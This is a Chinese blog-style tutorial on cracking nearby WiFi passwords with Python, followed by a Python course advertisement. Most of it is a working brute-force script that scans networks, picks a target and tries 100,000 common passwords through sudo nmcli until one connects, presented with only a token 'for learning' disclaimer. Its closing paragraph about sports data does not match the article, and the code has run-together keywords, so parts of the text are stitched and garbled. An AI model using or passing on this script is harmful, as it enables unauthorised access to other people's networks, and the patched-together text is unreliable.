python怎么破wifi ?

前言

很多用户都很好奇那些网络大神是怎么把无线路由器的wifi密码破解的,其实破解WiFi密码的难度仅限于路由器的主人把密码设置得多复杂而已,如果是用比较常用的弱密码口令,那么就很容易将WiFi破解出来。

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets:

def display_targets(networks, security_type):
    print("Select a target: \n")
    
    rows, columns = os.popen('stty size', 'r').read().split()
    for i in range(len(networks)):
        width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
        spacer = " "
        
        if (int(columns) >= 100):
            calc = int((int(columns)-int(width))*0.75)
        else:
                calc = int(columns)-int(width)
        
        for index in range(calc):
            spacer += "."
            if index == (calc-1):
                spacer += " "
            
        print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks。

2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi信号。

def prompt_for_target_choice(max):
    whileTrue:
        try:
            selected = int(input("\nEnter number of target: "))
            if(selected >= 1and selected <= max):
                return selected - 1
        except Exception as e:
            ignore = e
 
        print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单,就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args):
    for password in passwords:
        # necessary due to NetworkManager restart after unsuccessful attempt at login
        password = password.strip()
 
        # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
        if isinstance(password, str):
            decoded_line = password
        else:
            decoded_line = password.decode("utf-8")
            
        if args.verbose isTrue:
            print(bcolors.HEADER+"** TESTING **: with password '" +
                decoded_line+"'"+bcolors.ENDC)
 
        if (len(decoded_line) >= 8):
            time.sleep(3)
 
            creds = os.popen("sudo nmcli dev wifi connect " +
                selected_network+" password "+decoded_line).read()
                
            # print(creds)
 
            if ("Error:"in creds.strip()):
                if args.verbose isTrue:
                    print(bcolors.FAIL+"** TESTING **: password '" +
                        decoded_line+"' failed."+bcolors.ENDC)
            else:
                sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
                    decoded_line+"' succeeded."+bcolors.ENDC)
        else:
            if args.verbose isTrue:
                print(bcolors.OKCYAN+"** TESTING **: password '" +
                    decoded_line+"' too short, passing."+bcolors.ENDC)
 
    print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!
下面就把它们串联在一起:

def main():
    require_root()
    args = argument_parser()
 
    # The user chose to supplied their own url
    if args.url isnotNone:
        passwords = fetch_password_from_url(args.url)
    # user elect to read passwords form a file
    elif args.file isnotNone:
        file = open(args.file, "r")
        passwords = file.readlines()
        ifnot passwords:
            print("Password file cannot be empty!")
            exit(0)
        file.close()
    else:
        # fallback to the default list as the user didnt supplied a password list
        default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
        passwords = fetch_password_from_url(default_url)
 
    # grabbing the list of the network ssids
    func_call = start(1)
    networks = func_call[0]
    security_type = func_call[1]
    
    ifnot networks:
        print("No networks found!")
        sys.exit(-1)
 
    display_targets(networks, security_type)
    max = len(networks)
    pick = prompt_for_target_choice(max)
    target = networks[pick]
    
    print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
 
    brute_force(target, passwords, args)

不同的颜色代表不同不同的结果:
红色:测试失败
绿色:破解成功
紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语:

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

读者福利:知道你对Python感兴趣,便准备了这套python学习资料

对于0基础小白入门:

如果你是零基础小白,想快速入门Python是可以考虑的。

一方面是学习时间相对较短,学习内容更全面更集中。
二方面是可以找到适合自己的学习方案

包括:Python永久使用安装包、Python web开发,Python爬虫,Python数据分析,人工智能、机器学习等习教程。带你从零基础系统性的学好Python!

零基础Python学习资源介绍

👉Python学习路线汇总👈

Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。(全套教程文末领取哈)

👉Python必备开发工具👈

温馨提示:篇幅有限,已打包文件夹,获取方式在:文末

👉Python学习视频600合集👈

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

👉实战案例👈

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。

👉100道Python练习题👈

检查学习结果。

👉面试刷题👈



资料领取

上述这份完整版的Python全套学习资料已经上传CSDN官方,朋友们如果需要可以微信扫描下方CSDN官方认证二维码输入“领取资料” 即可领取

好文推荐

了解python的前景:https://blog.csdn.net/SpringJavaMyBatis/article/details/127194835

了解python的兼职副业赚钱:https://blog.csdn.net/SpringJavaMyBatis/article/details/127196603

文章出处登录后可见!

已经登录?立即刷新

共计人评分,平均

到目前为止还没有投票!成为第一位评论此文章。

(0)
扎眼的阳光的头像扎眼的阳光普通用户
上一篇 2023年8月2日
下一篇 2023年8月2日

相关推荐